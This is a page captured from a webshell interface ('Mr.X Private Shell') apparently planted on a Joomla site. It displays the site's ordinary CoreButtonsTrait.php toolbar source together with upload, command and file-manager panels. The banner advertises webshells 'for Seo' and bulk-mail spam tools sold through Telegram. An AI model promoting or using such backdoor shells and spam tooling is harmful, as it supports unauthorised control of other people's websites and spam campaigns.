__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Toolbar;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Toolbar\Button\ConfirmButton;
use Joomla\CMS\Toolbar\Button\CustomButton;
use Joomla\CMS\Toolbar\Button\HelpButton;
use Joomla\CMS\Toolbar\Button\InlinehelpButton;
use Joomla\CMS\Toolbar\Button\LinkButton;
use Joomla\CMS\Toolbar\Button\PopupButton;
use Joomla\CMS\Toolbar\Button\SeparatorButton;
use Joomla\CMS\Toolbar\Button\StandardButton;
use Joomla\CMS\Uri\Uri;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Enhance Toolbar class to add more pre-defined methods.
 *
 * @since  4.0.0
 */
trait CoreButtonsTrait
{
    /**
     * Writes a divider between dropdown menu items.
     *
     * @param   string  $text  The text of button.
     *
     * @return  SeparatorButton
     *
     * @since  4.0.0
     */
    public function divider(string $text = ''): SeparatorButton
    {
        return $this->separatorButton('divider', $text);
    }

    /**
     * Writes a preview button for a given option (opens a popup window).
     *
     * @param   string  $url        The name of the popup file (excluding the file extension)
     * @param   string  $text       The text of button.
     * @param   bool    $newWindow  Whether to open the preview in _blank or just a modal
     *
     * @return  PopupButton|LinkButton
     *
     * @since   4.0.0
     */
    public function preview(string $url, string $text = 'JGLOBAL_PREVIEW', $newWindow = false)
    {
        if ($newWindow === true) {
            $button = $this->linkButton('link', $text)
                ->url($url)
                ->attributes(['target' => '_blank'])
                ->icon('icon-eye');
        } else {
            $button = $this->popupButton('preview', $text)
                ->url($url)
                ->iframeWidth(640)
                ->iframeHeight(480)
                ->icon('icon-eye');
        }

        return $button;
    }

    /**
     * Writes a jooa11y accessibility checker button for a given option (opens a popup window).
     *
     * @param   string  $url        The url to open
     * @param   string  $text       The text of button.
     * @param   bool    $newWindow  Whether to open the preview in _blank or just a modal
     *
     * @return  PopupButton|LinkButton
     *
     * @since   4.1.0
     */
    public function jooa11y(string $url, string $text = 'JGLOBAL_JOOA11Y', $newWindow = false)
    {
        if ($newWindow === true) {
            $button = $this->linkButton('jooa11y-link', $text)
                ->url($url)
                ->attributes(['target' => '_blank'])
                ->icon('icon-universal-access');
        } else {
            $button = $this->popupButton('jooa11y-preview', $text)
                ->url($url)
                ->iframeWidth(640)
                ->iframeHeight(480)
                ->icon('icon-universal-access');
        }

        return $button;
    }

    /**
     * Writes a help button for a given option (opens a popup window).
     *
     * @param   string  $ref           The name of the popup file (excluding the file extension for an xml file).
     * @param   bool    $useComponent  Use the help file in the component directory.
     * @param   string  $url           Use this URL instead of any other.
     * @param   string  $component     Name of component to get Help (null for current component)
     *
     * @return  HelpButton
     *
     * @since   4.0.0
     */
    public function help($ref, $useComponent = false, $url = null, $component = null): HelpButton
    {
        return $this->helpButton('help', 'JTOOLBAR_HELP')
            ->ref($ref)
            ->useComponent($useComponent)
            ->url($url)
            ->component($component);
    }

    /**
     * Writes a help button for a given option (opens a popup window).
     *
     * @param   string  $class   The class used by the inline help items.
     *
     * @return  InlinehelpButton
     *
     * @since   4.3.0
     */
    public function inlinehelp(string $class = 'hide-aware-inline-help'): InlinehelpButton
    {
        return $this->inlinehelpButton('inlinehelp')
            ->targetclass($class)
            ->icon('fa fa-question-circle');
    }

    /**
     * Writes a cancel button that will go back to the previous page without doing
     * any other operation.
     *
     * @param   string  $text  The text of button.
     *
     * @return  LinkButton
     *
     * @since   4.0.0
     */
    public function back(string $text = 'JTOOLBAR_BACK'): LinkButton
    {
        return $this->link('back', $text)
            ->url('javascript:history.back();');
    }

    /**
     * Creates a button to redirect to a link.
     *
     * @param   string  $text  Button text.
     * @param   string  $url   The link url.
     *
     * @return  LinkButton
     *
     * @since   4.0.0
     */
    public function link(string $text, string $url): LinkButton
    {
        return $this->linkButton('link', $text)
            ->url($url);
    }

    /**
     * Writes a media_manager button.
     *
     * @param   string  $directory  The subdirectory to upload the media to.
     * @param   string  $text       An override for the alt text.
     *
     * @return  PopupButton
     *
     * @since   4.0.0
     */
    public function mediaManager(string $directory, string $text = 'JTOOLBAR_UPLOAD'): PopupButton
    {
        return $this->popupButton('upload', $text)
            ->iframeWidth(800)
            ->iframeHeight(520)
            ->url('index.php?option=com_media&tmpl=component&task=popupUpload&folder=' . $directory);
    }

    /**
     * Writes a common 'default' button for a record.
     *
     * @param   string  $task  An override for the task.
     * @param   string  $text  An override for the alt text.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function makeDefault(string $task, string $text = 'JTOOLBAR_DEFAULT'): StandardButton
    {
        return $this->standardButton('default', $text, $task);
    }

    /**
     * Writes a common 'assign' button for a record.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function assign(string $task, string $text = 'JTOOLBAR_ASSIGN'): StandardButton
    {
        return $this->standardButton('assign', $text, $task);
    }

    /**
     * Writes the common 'new' icon for the button bar.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function addNew(string $task, string $text = 'JTOOLBAR_NEW'): StandardButton
    {
        return $this->standardButton('new', $text, $task);
    }

    /**
     * Writes a common 'publish' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function publish(string $task, string $text = 'JTOOLBAR_PUBLISH'): StandardButton
    {
        return $this->standardButton('publish', $text, $task);
    }

    /**
     * Writes a common 'unpublish' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function unpublish(string $task, string $text = 'JTOOLBAR_UNPUBLISH'): StandardButton
    {
        return $this->standardButton('unpublish', $text, $task);
    }

    /**
     * Writes a common 'archive' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function archive(string $task, string $text = 'JTOOLBAR_ARCHIVE'): StandardButton
    {
        return $this->standardButton('archive', $text, $task);
    }

    /**
     * Writes a common 'unarchive' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function unarchive(string $task, string $text = 'JTOOLBAR_UNARCHIVE'): StandardButton
    {
        return $this->standardButton('unarchive', $text, $task);
    }

    /**
     * Writes a common 'edit' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function edit(string $task, string $text = 'JTOOLBAR_EDIT'): StandardButton
    {
        return $this->standardButton('edit', $text, $task);
    }

    /**
     * Writes a common 'editHtml' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function editHtml(string $task, string $text = 'JTOOLBAR_EDIT_HTML'): StandardButton
    {
        return $this->standardButton('edithtml', $text, $task);
    }

    /**
     * Writes a common 'editCss' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function editCss(string $task, string $text = 'JTOOLBAR_EDIT_CSS'): StandardButton
    {
        return $this->standardButton('editcss', $text, $task);
    }

    /**
     * Writes a common 'delete' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  ConfirmButton
     *
     * @since   4.0.0
     */
    public function delete(string $task, string $text = 'JTOOLBAR_DELETE'): ConfirmButton
    {
        return $this->confirmButton('delete', $text, $task);
    }

    /**
     * Writes a common 'trash' button.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function trash(string $task, string $text = 'JTOOLBAR_TRASH'): StandardButton
    {
        return $this->standardButton('trash', $text, $task);
    }

    /**
     * Writes a save button for a given option.
     * Apply operation leads to a save action only (does not leave edit mode).
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function apply(string $task, string $text = 'JTOOLBAR_APPLY'): StandardButton
    {
        return $this->standardButton('apply', $text, $task)
            ->formValidation(true);
    }

    /**
     * Writes a save button for a given option.
     * Save operation leads to a save and then close action.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function save(string $task, string $text = 'JTOOLBAR_SAVE'): StandardButton
    {
        return $this->standardButton('save', $text, $task)
            ->formValidation(true);
    }

    /**
     * Writes a save and create new button for a given option.
     * Save and create operation leads to a save and then add action.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function save2new(string $task, string $text = 'JTOOLBAR_SAVE_AND_NEW'): StandardButton
    {
        return $this->standardButton('save-new', $text, $task)
            ->formValidation(true);
    }

    /**
     * Writes a save as copy button for a given option.
     * Save as copy operation leads to a save after clearing the key,
     * then returns user to edit mode with new key.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function save2copy(string $task, string $text = 'JTOOLBAR_SAVE_AS_COPY'): StandardButton
    {
        return $this->standardButton('save-copy', $text, $task)
            ->formValidation(true);
    }

    /**
     * Writes a checkin button for a given option.
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function checkin(string $task, string $text = 'JTOOLBAR_CHECKIN'): StandardButton
    {
        return $this->standardButton('checkin', $text, $task)
            ->listCheck(true);
    }

    /**
     * Writes a cancel button and invokes a cancel operation (eg a checkin).
     *
     * @param   string  $task  The task name of this button.
     * @param   string  $text  The text of this button.
     *
     * @return  StandardButton
     *
     * @since   4.0.0
     */
    public function cancel(string $task, string $text = 'JTOOLBAR_CLOSE'): StandardButton
    {
        return $this->standardButton('cancel', $text, $task);
    }

    /**
     * Writes a configuration button and invokes a cancel operation (eg a checkin).
     *
     * @param   string  $component  The name of the component, eg, com_content.
     * @param   string  $text       The text of this button.
     * @param   string  $path       An alternative path for the configuration xml relative to JPATH_SITE.
     *
     * @return  LinkButton
     *
     * @since   4.0.0
     */
    public function preferences(string $component, string $text = 'JTOOLBAR_OPTIONS', string $path = ''): LinkButton
    {
        $component = urlencode($component);
        $path      = urlencode($path);

        $uri    = (string) Uri::getInstance();
        $return = urlencode(base64_encode($uri));

        return $this->linkButton('options', $text)
            ->url('index.php?option=com_config&amp;view=component&amp;component=' . $component . '&amp;path=' . $path . '&amp;return=' . $return);
    }

    /**
     * Writes a version history
     *
     * @param   string   $typeAlias  The component and type, for example 'com_content.article'
     * @param   integer  $itemId     The id of the item, for example the article id.
     * @param   integer  $height     The height of the popup.
     * @param   integer  $width      The width of the popup.
     * @param   string   $text       The name of the button.
     *
     * @return  CustomButton
     *
     * @since   4.0.0
     */
    public function versions(
        string $typeAlias,
        int $itemId,
        int $height = 800,
        int $width = 500,
        string $text = 'JTOOLBAR_VERSIONS'
    ): CustomButton {
        $lang = Factory::getLanguage();
        $lang->load('com_contenthistory', JPATH_ADMINISTRATOR, $lang->getTag(), true);

        // Options array for Layout
        $options              = [];
        $options['title']     = Text::_($text);
        $options['height']    = $height;
        $options['width']     = $width;
        $options['itemId']    = $typeAlias . '.' . $itemId;

        $layout = new FileLayout('joomla.toolbar.versions');

        return $this->customHtml($layout->render($options), 'version');
    }

    /**
     * Writes a custom HTML to toolbar.
     *
     * @param   string  $html  The HTML string to write.
     * @param   string  $name  The button name.
     *
     * @return  CustomButton
     *
     * @since   4.0.0
     */
    public function customHtml(string $html, string $name = 'custom'): CustomButton
    {
        return $this->customButton($name)
            ->html($html);
    }
}

Filemanager

Name Type Size Permission Actions
Button Folder 0775
ContainerAwareToolbarFactory.php File 3.32 KB 0664
CoreButtonsTrait.php File 16.19 KB 0664
Toolbar.php File 13.12 KB 0664
ToolbarButton.php File 11.98 KB 0664
ToolbarFactoryInterface.php File 1.05 KB 0664
ToolbarHelper.php File 23.05 KB 0664
Filemanager